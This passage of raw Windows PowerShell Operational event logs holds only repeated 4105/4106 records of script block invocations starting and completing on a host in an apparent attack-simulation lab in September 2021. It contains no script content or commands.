ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040145
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040144
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040143
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040142
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040125
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040120
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040119
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040097
Keywords=None
